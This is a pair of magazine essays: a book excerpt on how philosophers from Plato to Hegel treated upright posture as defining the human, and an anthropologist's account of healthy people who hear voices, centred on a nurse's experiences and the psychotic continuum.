    The very notion of what in the ancient world defines the human being in contrast to all other living things is simple: upright posture. Best known of the ancient commentators is Plato, who, according to legend, is claimed to have seen the human as bipedal and featherless. To describe humans as “featherless” sounds odder to modern ears than does the functional association of bipedalism and intelligence, but Plato sees the absence of bodily covering as a move away from the base toward the human, for he is quite aware that the other bipedal animal is the bird. Greek thought gives the bird a middle role between the human and the gods, since birds are connected to the gods through their use in divination. Responding to Plato’s contorted definition of man, Diogenes of Sinope, known as the Cynic, notoriously plucked a (bipedal) chicken and took it to Plato’s Academy, declaring, “Here is Plato’s man.”1

    Although bipedalism seems to us an obvious way of seeing human beings, it was Plato who used upright posture to move the rational mind as far from the center of the appetite and the organ of generation as possible: The head, for Plato, is the “acropolis” of the body, its highest point both literally and metaphorically. The state is to the upright body as the body is to the city­state. Plato’s upright body at its best must also possess wisdom and nobility, agathos kai sophos (ἀγαθὸς καὶ σοφὸς), which he abstracts in the Meno from the older Greek notion of kalos kagathos (καλός καγαθός), beauty and goodness.2 This older concept describes military posture, in the sense both of the soldier’s body and of his loyalty to the state.

    Diogenes and the Chicken, c. 1527Ugo da Carpi

    The tension here between absolute definitions of posture, such as the Platonic one, and their antithesis, Diogenes’ chicken, sets the pattern for all subsequent debates about posture, even though over time the latter seems to have won the day. Indeed, our notorious chicken reappears in contemporary debates about “the boundary of the class for humans” in the philosophy of science, as a grotesque example.3 Bertrand Russell dissected the implications of this notion for symbolic logic in the early 20th century when he noted, “ ‘Socrates is a featherless biped’ is different from ‘Socrates is human’,” in that the latter set of classifications is all-encompassing; the former clearly not.4 By the 20th century only such ironic evocations are possible. Russell implies that no one in his world would even imagine this as a possible definition of the human.

    The debate about being upright, with its moral, aesthetic, and physiological implications, has abandoned the upright chicken for other, more powerful analogies.

    For the Jews, Adam’s upright posture was a sign of being superior to the animals created by God, even after the expulsion from Paradise.5 The claim that it is divinely created posture that defines the human being continues to the beginning of the Enlightenment, when the theologian­ philosopher Johann Gottfried Herder, in his Ideas for the Philosophy of the History of Humanity (1784–91), defines posture first and foremost as central to the “organic difference between man and beast.”

    Yet, unlike the classical tradition, he discusses this before he discusses human reasoning:

    The form of man is upright: in this he is singular upon the earth ... to the human species alone is this position natural and constant … All the muscles acting in this position are adapted to it. The calf of the leg is enlarged: the pelvis is drawn backward: the hips are spread outwards from each other: the spine is less curved: the breast is widened: the shoulders have clavicles: the hands have fingers endued with the sense of feeling: to crown the structure the receding head is exalted on the muscles of the neck: man is ... a creature looking far above and around him.6

    The Creation of Adam, 1511, fresco.Michelangelo

    Herder does not downplay the role of reason in determining what is human. In his definition of rationality he stresses above all speech, which one might expect; but the noble posture comes first. Upright posture is a sign of the very nature of Creation, crowned by an upright being whom God tells to “stand up straight”:

    When our creative parent had fulfilled her labours, and exhausted all the forms, that were possible on our Earth, she paused, and surveyed her works ... With maternal affection she stretched forth her hand to the last creature of her art, and said: ‘stand up on the earth! Left to thyself, thou hadst been a beast, like unto other beasts: but through my especial aid and love, walk erect, and be of beasts the god.’ ... with wonder shall we perceive, what new organism of powers commenced in the erect position of mankind, and how by it alone man was made a man.7

    Herder’s scientific sentiment bridges the gap between Plato’s notion of upright posture signifying the seeking of the rational and John Milton’s understanding that man’s erect posture, created by the hand of God, preceded man’s own intelligence.

    Such a view can be found in the early modern period among both Christian and Jewish thinkers. In Paradise Lost (1667), Milton had illustrated the creation of the first man as a sentient creature through God’s gift of upright posture:

    a creature, who, not prone
    And brute as other creatures, but endued
    With sanctity of reason might erect
    His stature, and upright with front serene
    Govern the rest, self knowing; and from thence
    Magnanimous to correspond with Heaven,
    But grateful to acknowledge whence his good
    Descends, thither with heart, and voice, and eyes
    Directed in devotion to adore
    And worship God Supreme, who made him
    Of all his works. (7.506–15)

    Here, Milton echoes Job 22:26: “For then shalt thou have thy delight in the Almighty, and shalt lift up thy face unto God.” Creation is the moment when the human being is able to stand upright in a moral as well as a physical sense.8

    Immanuel Kant reacted against such a notion of the divine perfection of human posture and the theology that it implied. For him, Herder’s views are merely romantic psychologizing rather than an empirical statement about the nature of humans and their future. The human being is not perfect, but, following on from his understanding of what Enlightenment means, must have the potential to alter and change, “to use [one’s own mind] without guidance of another. Sapere aude.”9 Dare to know! And central to that act is to know oneself.

    For the human “is himself an animal,” as Kant observed in his Idea for a Universal History with a Cosmopolitan Purpose (1784). There he characterized the human, even in the role of the ruler, as “crooked wood”:

    The highest supreme authority, however, ought to be just in itself and yet a human being. This problem is therefore the most difficult of all; indeed its perfect solution is even impossible; out of such crooked wood as the human being is made, nothing entirely straight can be fabricated.10

    It is human striving that can move toward but perhaps never completely attain “straightness” and therefore perfection. Nature, he continues, evoking our image of the garden—if only obliquely—allows us only to approximate such an ideal. A new state—one founded on reason, but on reason acquired through self­knowledge—is the forest in which such “crooked wood” evolves:

    Yet in such a precinct as civic union is, these same inclinations have afterward their best effect, just as trees in a forest, precisely because each of them seeks to take air and sun from the other, are constrained to look for them above themselves, and thereby achieve a beautiful straight growth; whereas those in freedom and separated from one another, that put forth branches as they like, grow stunted, crooked, and awry. All culture and art that adorn humanity, and the most beautiful social order, are the fruits of unsociability, through which it is necessitated by itself to discipline itself, and so by an art extorted from it, to develop completely the germs of nature.11

    All value comes from striving to establish oneself within society. (One should note here that the ambiguity of “crooked” and “upright” as moral terms is also present in Kant’s German. For krumm also has the moral implication of the antithesis of gerade or aufrecht, crooked as opposed to just or upright. All these terms can be used to describe posture.) This vision of human development and mal­development is at the core of Kant’s notion of posture, both in the moral and the political sense.

    Kant’s image of the “crooked wood” is a direct answer to Herder’s claim about the primacy of upright posture in defining human nature. Kant had attacked the centrality of erect posture in his review of the first volume of Herder’s Ideas in 1785.12 In it, he summarized Herder’s account of upward posture as the core to the creation of the sentient human:

    It was not because he was destined to be rational that man was endowed with erect posture which allows him to make rational use of his limbs; on the contrary, he acquired reason as a result of his erect posture, as the natural effect of that same constitution which he required in order to walk upright.13

    “Immanuel Kant on His Daily Walk”; aquatint silhouette in black ink from life, 1793.Johann Theodor Puttrich

    For 19th-century thinkers, reading Kant on posture came to define the spark of life itself. On Jan. 16, 1839, Ralph Waldo Emerson lectured on the very definition of life to a large audience at Boston’s Masonic Temple. He stressed that

    the soul pauses not. In its world is incessant movement. Genius has no retrospect. Virtue has no memory. And that is the law for man. Live without interval: if you rest on your oars, if you stop, you fall. He only is wise who thinks now; who reproduces all his experience for the present exigency; as a man stands on his feet only by a perpetual play and adjustment of the muscles. A dead body or a statue cannot be set up in the upright posture without support. You must live even to stand.14

    Life itself is defined by human posture. Once life is extinguished, posture is no longer possible.

    The theological notion of posture as the animating force for the human, echoed by Emerson, never really vanishes, as can be seen in the aesthetics of the 19th century. For Georg Wilhelm Friedrich Hegel, posture is at the core of the aesthetic impulse. Here he differs from Kant, whom he often engages in his work. In his lectures on aesthetics from the 1820s, Hegel develops a theory of posture as one of the keys to understanding being not only as self­determining reason (following Kant) but as rationally organized matter. The human being is the rational product of the reason embodied in nature. And that, for Hegel, is to no small degree keyed to “man’s upright posture.” The moment we cease to wish to act, our posture collapses and we revert to the primitive, to the childlike. This is a simple restatement of the complex theological notion that standing upright makes the pre-Edenic human into a volitional being, able to judge right from wrong.

    But Hegel continues to argue that upright posture alone is not sufficient to define the aesthetic impulse in man. Seeing the world from an upright position does not yet define the beautiful:

    But the erect position is not yet beautiful as such; it becomes so only when it acquires freedom of form. For if in fact a man simply stands up straight, letting his hands hang down glued to the body quite symmetrically and not separated from it, while the legs remain tightly closed together, this gives a disagreeable impression of stiffness, even if at first sight we see no compulsion in it. This stiffness here is an abstract, almost architectural, regularity in which the limbs persist in the same position relatively to one another, and furthermore there is not visible here any determination by the spirit from within; for arms, legs, chest, trunk—all the members—remain and hang precisely as they had grown in the man at birth, without having been brought into a different relation by the spirit and its will and feeling. (The same is true about sitting.) Conversely, crouching and squatting are not to be found on the soil of freedom because they indicate something subordinate, dependent, and slavish. The free position, on the other hand, avoids abstract regularity and angularity and brings the position of the limbs into lines approaching the form of the organic; it also makes spiritual determinants shine through, so that the states and passions of the inner life are recognizable from the posture.

    Here, Hegel makes a clear distinction between the static and dynamic human, but also between the free human and the crouching slave. The static human may be the embodiment of archaic Greek sculpture, but it stands in sharp contrast to the individual who is able to accentuate their own sensuous self-containment.

    Zombies Must Be Dualists

    David Chalmers, who coined the phrase “Hard Problem of consciousness,” is arguably the leading modern advocate for the possibility that physical reality needs to be augmented by some kind of additional ingredient in order to explain consciousness—in particular, to account...READ MORE

    Perhaps we should remark here on the obvious. The difference between the body in classical sculpture and the real, living body is profound. Oscar Wilde observed this most cogently in his “Decay of Lying” (1891). His interlocutor asks,

    Do you think that Greek art ever tells us what the Greek people were like? Do you believe that the Athenian women were like the stately dignified figures of the Parthenon frieze, or like the marvellous goddesses who sat in the triangular pediments of the same building? If you judge from the art, they certainly were so. But read an authority, like Aristophanes for instance. You will find that the Athenian ladies laced tightly, wore high­heeled shoes, dyed their hair yellow, painted and rouged their faces, and were exactly like any silly fashionable or fallen creature of our own day. The fact is that we look back on the ages entirely through the medium of art, and art, very fortunately, has never once told us the truth.15

    This was also true of their posture. With regard to the postural science of the time, confusion reigned. As late as 1925, an editorial in The Lancet claimed that

    It is well known to sculptors and students of ancient art that the male Greek figure, as represented in such statues and reliefs as have come down to us, differs considerably from the best models of modern times. The difference would seem to consist of a greater sharpness of the lumbo­sacral angle ... We have no means of knowing whether the sculptures were true to nature or not, but at least they show that the ideal of manly beauty in the time of Pheidias differed from that of the orthopaedic surgeon of today.16

    Or indeed, as the American postural reformer Joel E. Goldthwait notes in 1915, in what came to be a standard American text of the time on posture and health:

    The difference in the anatomic types is also recognized consciously or unconsciously, in art, and nothing can be more perfectly normal than the early (not always the late) Greek figures, or Michael Angelo’s “David”, or William Hunt’s “Bathers.” The type which Rubens almost always depicts is the heavy, full-blooded herbivorous type, while the slender, carnivorous type is the one depicted by Botticelli and Fra Angelico, or by Puvis de Chavannes of the modern school.17

    In his Philosophy of Mind (1830), Hegel stresses that the “upright posture, has been by will made a habit—a position taken without adjustment and without consciousness—which continues to be an affair of his [the human’s] persistent will.”18 For it is the human will that defines posture, not the deity. Yet being human is defined by posture:

    Man’s absolute gesture is his erect posture; he alone is able to do this, whereas even the orangoutang can stand upright only with the aid of a stick. Man does not hold himself erect naturally but stands upright by the energy of his will; and although his erect posture, after it has become a habit, requires no further effort of will, yet it must always remain pervaded by our will if we are not momentarily to collapse.18

    The ultimate collapse, as Emerson later noted, is the collapse into death. For Hegel it is the collapse into the primitive, into the state of “slavishness.”

    Sander L. Gilman is a professor of the liberal arts and sciences as well as a professor of psychiatry at Emory University. A cultural and literary historian, he is the author or editor of more than 90 books.

    Reprinted with permission from Stand Up Straight!: A History of Posture by Sander L. Gilman, published by Reaktion Books Ltd. © 2018 by Sander L. Gilman. All rights reserved.

    References

    1. Quoted in Laertius, D. Lives of Eminent Philosophers (trans. Hicks, R.D.) Harvard University Press, Cambridge, MA (1925).

    2. Carone, G.R. Plato’s Cosmology and its Ethical Dimensions Cambridge University Press, New York, NY (2005).

    3. Boyd, R. Introduction. In Boyd, R., Gasper, P., & Trout, J.D. (Eds.) The Philosophy of Science The MIT Press, Cambridge, MA (1991).

    4. Russell, B. Early drafts on the theory of types [1906–8]. In Moore, G.H. (Ed.) The Collected Papers Routledge, New York, NY (2014).

    5. Silverstein, T. The fabulous cosmogony of Bernard Silvestris. Modern Philology46, 92-116 (1948).

    6. Herder, J.G. Outlines of a Philosophy of the History of Man (trans. Churchill, T.) Bergman Publishers, New York, NY (1800).

    7. Quoted by Grene, M. & Depew, D. The Philosophy of Biology: An Episodic History Cambridge University Press, New York, NY (2004).

    8. For an odd, almost mechanical reading of this notion of posture, see Ardolino, F. Satan’s “Ups and Downs”: Posture and posturing in books i and ii of Paradise Lost. Journal of Evolutionary Psychology14, 53-99 (1993).

    9. Kant used this phrase from Horace’s Epistles 1.2.40 to define the Enlightenment in his “An Answer to the Question: ‘What Is Enlightenment’,” first published in the Berlinische Monatsschrift, December 1784. See Schmidt, J. (Ed.) What Is Enlightenment?: Eighteenth­-Century Answers and Twentieth­-Century Questions University of California Press, Berkeley, CA (1996).

    10. Kant, I. Idea for a universal history with a cosmopolitan aim. In Zöller, G. & Robert B. Louden, R.B. (Eds.) Anthropology, History and Education: The Cambridge Edition of the Works of Immanuel Kant (trans. Wood, A.) Cambridge University Press, New York, NY (2007).

    11. Kant, I. Idea for a universal history with a cosmopolitan aim. In Zöller, G. & Robert B. Louden, R.B. (Eds.) Anthropology, History and Education: The Cambridge Edition of the Works of Immanuel Kant (trans. Wood, A.) Cambridge University Press, New York, NY (2007). Woods translates künstlich as “artificial.” While certainly true, it is clear that what Kant is stressing is the potential for human malleability.

    12. Mack, M. The other. In Forster, M.N. & Gjesdal, K. (Eds.) The Oxford Handbook of German Philosophy in the Nineteenth Century Oxford University Press, New York, NY (2015).

    13. Reiss, H.S. (Ed.) Kant: Political Writings (trans. Nisbet, H.B.) Cambridge University Press, New York, NY (1991).

    14. Spiller, R.E. (Ed.) The Early Lectures of Ralph Waldo Emerson Harvard University Press, Cambridge, MA (1969). In this context, see van Leer, D. Emerson’s Epistemology: The Argument of the Essays Cambridge University Press, New York, NY (1986) on Emerson as a Kantian.

    15. Wilde, O. The decay of lying. In The Complete Writings of Oscar Wilde The Notrtingham Society, New York, NY (1909).

    16. Anon. Correct posture. The Lancet (1925).

    17. Goldthwait, J.E. An anatomic and mechanistic conception of disease. Boston Medical and Surgical Journal172, 881-898 (1915).

    18. Hegel, G.W.F. Hegel’s Philosophy of Mind Inwood, M.J. (ed. & trans.) Oxford University Press, New York, NY (2012).

    The Sound of Madness

    $
    0
    0

    Sarah was four years old when her spirit guide first appeared. One day, she woke up from a nap and saw him there beside her bed. He was short, with longish curly hair, like a cherub made of light. She couldn’t see his feet. They played a board game—she remembers pushing the pieces around—and then he melted away.

    After that, he came and went like any child’s imaginary friend. Sarah often sensed his presence when strange things happened—when forces of light and darkness took shape in the air around her or when photographs rippled as though shimmering in the heat. Sometimes Sarah had thoughts in her head that she knew were not her own. She would say things that upset her parents. “Cut it out,” her mother would warn. “This is what they put people in psychiatric hospitals for.”

    Wormholes, 1919, by August Klett, who was a patient at the psychiatric clinic at the University of Heidelberg, in Germany. Under the alias August Klotz, he was one of the ten “schizophrenic masters” whose work was collected in the book Artistry of the Mentally Ill (1922). The book was compiled by Hans Prinzhorn, a psychiatrist and art historian, who recorded Klett as hearing voices that were obscene, accusatory, and threatening. © Prinzhorn Collection, University Hospital Heidelberg, Inv. No. 568

    Sarah was the youngest of four siblings. Her father was a sales manager for a pharmaceutical company, and he traveled a lot while his wife stayed home with the kids. Sarah’s mother was a strict disciplinarian. She was determined to straighten out her children, whom she felt had been spoiled by the housekeeper they’d left behind when they moved to California. Sarah remembers one day, not long after she played the game with her spirit guide, when she and some neighborhood kids tried to set up a barbecue in the back yard. Her babysitter found them in the basement, burning strips of paper in the pilot light of the furnace. When Sarah’s mother came home, she held the girl’s fingers in the flame of a cigarette lighter as punishment.

    As Sarah grew up, she started to dislike the strange experiences she had, and she decided that they could not be real. Then she went to college and became a nurse, and she began to see the souls of dead patients leave their bodies. Sometimes what emerged was a transparent version of the corpse. Other times she saw what the patients must have looked like when they were young. A few would stand next to the bed. More floated up to the ceiling and looked down. They were usually startled to see their own bodies and horrified to witness the pummeling they took from doctors trying to keep them alive.

    Sarah found that the dead would speak to her. It sounded like they were really talking, as if she could hear them with her ears, although she quickly learned that no one else could hear them. They gave her messages to give to people they’d left behind, but mostly she helped them release their grip on life. That was her task, the reason they became visible to her. “Some people get very distraught,” she told me. “They’re terrified of the transition.” Most of the time, the souls would be visible only for a minute, but occasionally they stayed as long as an hour. Eventually they would dissipate, like mist into air.

    When I met Sarah, in the summer of 2016, she was sixty-two and still working full time. I am an anthropologist, and I was interested in Sarah because she said she still heard voices, sometimes as often as every day. For decades, hearing voices—having auditory or quasi-auditory perceptions of the speech of invisible others—has been seen as a definitive sign of the radical break with reality that we call psychosis. Voice hearing is one of the identifying features of schizophrenia, the most devastating and intractable of psychiatric disorders. But Sarah is not psychotic. To use the language of psychiatric nosology, she has no “functional impairment.” She can work and care for herself and others; her marriage is good and stable. She has never been hospitalized. At the time of our interview, Sarah was long past the danger zone of early adulthood, during which most people with serious psychoses are diagnosed. By any normal measure, she is completely healthy. Sarah is one of many people who are challenging what
    psychiatrists think they know about mental illness.

    Hearing voices is, it turns out, surprisingly common. In 1894, a team led by Henry Sidgwick, a philosopher at the University of Cambridge, published the Census of Hallucinations, which surveyed 17,000 people in the United Kingdom and found that around 10 percent of them reported having seen, heard, or felt something “which impression, so far as you can discover, was not due to any external physical cause.” Many more recent studies have supported that observation. In 1983, two psychologists, Thomas Posey and Mary Losch, modified Sidgwick’s basic question and found that the rate skyrocketed to 70 percent when participants were given the opportunity to say that they had heard a voice but decided that it wasn’t real. And as many as 80 percent of people who have lost a loved one report hearing, seeing, or feeling them in the months after their death.

    An untitled painting by Eugen Gabritschevsky, c. 1950. Gabritschevsky completed advanced degrees in genetics and biology and worked at the Pasteur Institute before being diagnosed with schizophrenia. Collection abcd/Bruno Decharme © Estate of Eugen Gabritschevsky

    For years, I have spoken with such people. I study the odd and the uncanny—voices, visions, the supernatural. I seek out people who have experienced otherworldly events, and as I have published my research they have sought me out in turn. People have told me that while they were driving, God spoke up from the back seat and said that he would always love them, or that as they stood looking at the ocean, the waves became light and language. Others have shrugged and said that they were speeding and God’s voice came over the radio to tell them to slow down.

    I wrote my dissertation on Londoners who called themselves pagans, witches, and druids. They were people with ordinary, stable jobs who nevertheless claimed to live in a lush garden of wizards and goblins and to travel on an astral plane. These adults gave themselves permission to play with invisible others and refused to be embarrassed about whether or not they were real. I knew people who had whole rooms devoted to goddesses—altars to Cerrid­wen, Artemis, and Freya. They brought them gifts and talked to them. Sometimes, the goddesses would respond.

    Later, I spent years with Charismatic Christians in the United States, most of whom would hate to be identified with so motley and marginal a crowd. Yet much about the blunt structure of their spirituality was similar. They, too, longed for intimacy with an invisible being and used their minds to imagine him. They immersed themselves in stories about him and spent hours contemplating those stories in intense daydreams. They went for walks with him, danced with him, sat in his lap as they prayed. They told me that God sometimes talked with them in ways they could hear with their ears. And, like the Londoners, they had subtle and complex ideas about the relationship between fantasy and reality. As one pastor said, “The excruciatingly delightful tension between what is imagined and what is real is where I live.”

    People who claim to have seen or heard invisible beings tend to score high on the Tellegen Absorption Scale, a measure introduced in 1974 that assesses a person’s responses to engaging stimuli. They are often people who lose themselves in nature, become captivated by books, or pray ardently—in other words, people who get caught up in their inner worlds. When the witches and druids in London performed rituals, they sat in the dark with their eyes closed, trying to see, hear, and feel what the leader was describing. During my research at Stanford University, I randomly assigned about a hundred Charismatic Christians to either daily lectures on the Gospels or daily prayer practice, which involved listening to story sequences based on Scripture. I found that those in the prayer group were more likely to report that they had heard a voice or seen a vision.

    But the great majority of people who hear voices—whether they take the voice to be a god or goddess, a recently dead mother, or the bark of an absent dog—experience very few such events. The invisible other speaks to them once, maybe twice. The voices are brief and transient: “I will always be with you,” “I love you,” “Yes.”

    On the surface, these seem nothing like the voices that torment people with schizophrenia. The voices of madness are horrifying. People who are mentally ill often feel besieged by their voices, as if their heads have been thrust into a beehive of sneering, attacking, commanding words. The words are sounds or quasi sounds, or even thoughts that seem to come from an exterior source. Elyn Saks, the author of a remarkable memoir of living with schizophrenia, wrote, “Thoughts crashed into my mind like a fusillade of rocks someone (or something) was hurtling at me—fierce, angry, jagged around the edges, and uncontrollable.” Mad voices speak from outside the mind, sometimes only two or three, sometimes hundreds at a time.

    One man diagnosed with schizophrenia told me that his voices would peel off the cars that drove past, as if the tumbling air had formed itself into a weapon. “I hear voices constantly,” he said. “I hear voices in other rooms. I hear it from down the street, down the stairs. Like God is leading a chorale of voices.” The voices cursed him and put him down and made him feel trapped. “The world is watching you,” they said. “We’re watching you.” People with psychosis often hate their voices and find them terrifying.

    And yet one of the new ideas in psychiatric research is that these two seemingly distinct types of voice hearing might be related. A group of highly respected, mostly European scientists—among them Jim van Os in Maastricht, the Netherlands, and Charles Fernyhough in Durham, England—have started to argue for the maverick idea that all auditory hallucinations exist on what they call the psychotic continuum. In other words, voices heard by healthy people are simply less severe manifestations of those heard by the mentally ill. These scientists suggest that hearing voices is like experiencing sadness. Some people are clearly sadder than others, and terrible sadness may require hospital care. But there is nothing inherently abnormal about sadness itself. Van Os, Fernyhough, and others have started to ask whether healthy people who hear voices frequently, like Sarah, somehow learned early on to manage their unusual perceptions and so never spiraled into mental illness. They believe that the voices of madness could be softened, if we could only teach people to harness them.

    Voices are remarkably hard to study in the laboratory. Scientists have shown that areas of the brain associated with language are active during an auditory hallucination, but the neuroscience of voice hearing remains poorly understood. We talk about such events as “voices,” but even for someone with psychosis, the experience is often more like having a thought that does not feel like your own. Many people say that the voice was not in their head but cannot be sure that they heard it with their ears. These subtleties of human awareness are impossible to study without talking to people and, as a result, getting mired in the swamp of subjective reporting and the limits of language. And so for decades, psychiatry has more or less ignored voices, even though around 70 percent of those diagnosed with schizophrenia hear them.

    In the middle of the twentieth century, when psychoanalysis dominated the field of psychology, many clinicians believed that schizophrenia arose from a child’s response to her mother’s emotional conflict. The most famous illustration of this dynamic, described by the En­glish anthropologist and early cyberneticist Gregory Bateson in 1956, was this: a mother comes to the psychiatric ward to see her son; he reaches out to hug her; she flinches; he withdraws; and then she asks, “Don’t you love me?” The great psychoanalyst Frieda Fromm-Reichmann labeled this mother schizophrenogenic: she drove her son insane because he could not handle the hostility she felt but refused to acknowledge. He went mad because he could not allow himself to know what was real. Psychoanalysts who wrote about schizophrenia puzzled over family dynamics. Theodore Lidz, a professor of psychiatry famous for his work on schizophrenia, once wrote grimly, “We now know that the patient’s family of origin is always severely disturbed.”

    An untitled drawing, c. 1910, by Barbara Suckfüll, who heard voices that ordered her to write and to draw © Prinzhorn Collection, University Hospital Heidelberg, Inv. No. 1955recto

    During this period, psychologists were so focused on therapy—on the meaning behind the symptoms, on the impact of being in a room with an empathic listener—that few of them paid attention to diagnosis, let alone to the brain. In 1973, David Rosenhan, a professor of psychology at Stanford, exposed those biases in an article that hugely embarrassed the psychiatric community. Rosenhan persuaded seven friends to join him in an experiment. He asked them to make appointments at multiple psychiatric hospitals across the country and explain to the doctors that they had heard voices that said things like “empty,” “hollow,” and “thud.” Apart from their names and professions, they were to change no details about their lives. Each participant was admitted as an inpatient to a psychiatric ward, and in every case but one they were diagnosed with schizophrenia. Doctors released them after, on average, nineteen days, but one was held for nearly two months. “It is clear,” Rosenhan wrote, “that we cannot distinguish the sane from the insane in psychiatric hospitals.”

    By that point, psychoanalytic psychiatry was already on its way out. Psychoanalysis seemed to help people who functioned more or less normally in society—they were soon called the worried well—but it did little for patients with serious disorders. The new diagnostic manual that appeared in 1980 replaced language about emotional conflict with specific criteria that patients needed to meet, establishing a clear dividing line between health and illness. When the writer Lauren Slater set out to replicate the Rosenhan experiment thirty years later—presenting herself unkempt, unshowered, and with unbrushed teeth at nine hospitals, where she explained that she’d heard a voice saying “thud”—not one doctor gave her a diagnosis of schizophrenia. But they did give her medication for depression and psychosis.

    In the intervening years, leadership in the field had shifted to scientists who sought to make psychiatry a rigorous branch of medicine by identifying the neural pathways responsible for mental illness. Voices were imagined as simple byproducts of brain disorder, no more important than the scratched welt of a mosquito bite. By 1990, pharmaceutical companies had introduced more than forty medications that tried to dampen the major symptoms of psychosis by blocking the reception of dopamine and other mood-changing chemicals in the brain. 

    But the biomedical model has not fulfilled its promise. The medications work modestly at best, and none is the miracle drug the fanfare once suggested. In 2005, the New En­gland Journal of Medicine published a study in which scientists tested a group of newer and older antipsychotic medications on 1,493 people; they found that only a quarter of participants were sufficiently helped by the drug they had been given to finish the eighteen-month trial. It also turned out that the new medications had unexpected side effects. Patients on Zyprexa, one of the newer antipsychotics, can put on a hundred pounds in a year.

    The theory of the psychotic continuum has emerged as psychiatric scientists have lost faith that schizophrenia has distinctive markers—that it is defined by a specific set of symptoms or a single neurological deficit. As one group of researchers observed in 2009, “Virtually no two patients present with the same constellation of symptoms.” Decades of studies have shown that schizophrenia is the complex result of many unrelated factors—the genes you inherited, the health of your mother during pregnancy, whether you were beaten as a child or stressed as an adolescent, even how much time you spend in the sun.

    With that has come an understanding that voice hearing can shape the course and outcome of the illness. What voices say affects what the person who hears them does. About a third of people with schizophrenia try to commit suicide, and around 20 percent hear voices that order them to do so. Scientists have begun to take seriously that people with psychosis sometimes say they went mad because their voices drove them crazy.

    In June 2016, I drove from Stanford to Sarah’s home in the Santa Cruz Mountains, hoping to understand whether her voices were similar to those heard by people with psychosis and how she had learned to manage them. Her house was an old Craftsman, built by an early Californian with a seafarer’s imagination—the rooms were wood-paneled and intricate, with nooks and built-in shelves. Sarah, a warm woman with short brown hair, greeted me at the door and showed me into an elegant living room. There was iced tea waiting on the table, and family pictures hung on the walls. Her two kids had started lives of their own. She now lived with her husband, a contractor, and a cat called Winston, who was busy pawing at a scratching post in the corner.

    An untitled double-sided painting, 1961, by Carlo Zinelli. Admitted to a psychiatric institution and diagnosed with schizophrenia after World War II, Zinelli began drawing in 1955. Courtesy Collection de l’Art Brut, Lausanne, Switzerland, Inv. No. cab-2128

    Sarah told me that she thought of herself as “intuitive.” She read books that treat hallucinations as special and spiritual—New Age manuals by Native Americans, books on death and dying, on portals and the other side. She thought that people could tell she had a gift. She would know things they hadn’t told her, and she believed that she helped them by allowing them to talk about things they often kept hidden. She didn’t share everything she experienced with her husband, and he didn’t quite know what to make of what she did say. “I have enough troubles in my life without having other voices in my head,” he remarked wryly. He was a big man, charming and chatty like his wife. He laughed when I asked him what he made of Sarah’s stories. But then he mentioned that he’d had an odd experience of his own—his dead aunt showed up in his armchair one evening and told him not to be so upset about a spat in the family—and it became clear that he treated Sarah’s experiences with deference.

    When I asked Sarah about her spirit guide, the one who had played the board game with her when she was four, she said that she had tried to ignore his presence for years. “I thought I was making it up,” she said. But in her mid-thirties, her husband gave her a spiritual retreat as a birthday gift. She went off to Sedona, Arizona, with her older sister to join the members of the retreat at a small bed-and-breakfast in the desert. Around midnight on the first night, something ripped through the wall of their bedroom with the metallic roar of a jet engine. It was oblong and humanoid and it glowed a brilliant red, so bright that Sarah had to squint. There was a sucking sound, and then a pop. She was terrified. (Her sister, on the other hand, simply rolled over and went back to sleep.) Sarah told herself that she was imagining things and turned away from the red shape. But then it spoke to her. It reassured her, although she couldn’t remember much of what it said.

    The next morning, Sarah reported what had happened to the retreat leader. “She could see I was deer-in-the-headlights,” Sarah told me. The leader believed Sarah had a gift she had ignored, and that the being had come because she needed something “to blow the barn doors open.” She encouraged Sarah to work with her gift and to find a spirit guide. 

    It was then that Sarah decided to treat her invisible childhood friend as real. Many conversations later, she asked him to introduce himself. He told her his name was Tom. “That’s not a very good name,” she responded. And Tom, she said, answered back: “What’s wrong with it?”

    Sarah told me that talking with Tom helped her make sense of the other voices she experienced, some of which were far less pleasant. These voices came into her life later than Tom did, not until after Sedona, when she was in her forties. She called them the council. Sarah could sometimes hear them talking to one another as if they were in the next room, sometimes murmuring, sometimes speaking more clearly. She had no difficulty distinguishing their voices from her own thoughts. It wasn’t only the way they spoke—they had a particular cadence—but what they said. “They don’t mince words,” she told me.

    When the council really wanted to get her attention, she said, they would become physical. They would throw fruit on the floor and knock down picture frames. Sarah spoke as if the council took action only in her best interest. She described one instance when they had thrown a rock at her to draw her attention to some loitering men, and she had known that she should leave the area fast. But she clearly had a more distant relationship with these voices than she did with Tom. He knew the council; in some ways, she thought, he was one of them. But when Tom spoke, he was animated. He sounded like a friend. The council’s voices were monotone. Sarah did not seem to like them as much. I asked her whether, when she heard the council, she ever turned her head to see who was speaking—the unambiguous mark of an audible voice. She said she did. Sometimes the council spoke to her for as long as two hours a day.

    The voices of the council have many of the formal features of psychotic voices: they talk with one another; they murmur; they are sometimes negative and even downright mean; they command; they are weirdly auditory. Sarah cannot control them. Tom told her that everyone on the council was a teacher but that he could be the spokes­person if it was easier for her to respond to one voice at a time. “I think he’s been there for me so that perhaps I didn’t go crazy,” she said to me at one point, “to help me make sense of this, and to kinda keep me from being a danger to myself.” She said it was akin to having an internal dial, like one on an old radio—she could turn it so that the conversation was clear, or keep it static. Tom helped her to feel in charge of the dial.

    It seemed that, with the help of the retreat leader, Sarah had decided to build a narrative in which her experiences were not alien, and she used Tom to help her manage the things that frightened her. It was as though she had invented him as a protector. She said he would show up when she needed him; she called him a mentor. So the council couldn’t frighten her, even when they were throwing fruit around. 

    These days, Sarah talks to Tom often. She says that he tells her things she needs to know and corrects her when she makes a mistake. “That’s not the way it truly happened,” he might say. She consults him when her cat gets sick and when she has a strange dream. Most of the time he speaks in her mind, but sometimes he speaks out loud. Several times a year, often when Sarah is at the edge of sleep, Tom appears in the room. At first, he showed up in clothes that looked like they were cut in an earlier century—in an Edwardian dinner jacket, say, sometimes with women wearing bustles in the background. These days he mostly wears a blazer and slacks. Sarah told me that she and Tom have known each other a long time. How long? I asked. She paused and
    gave me a little smile. “He’s saying, in the Sumerian period.”

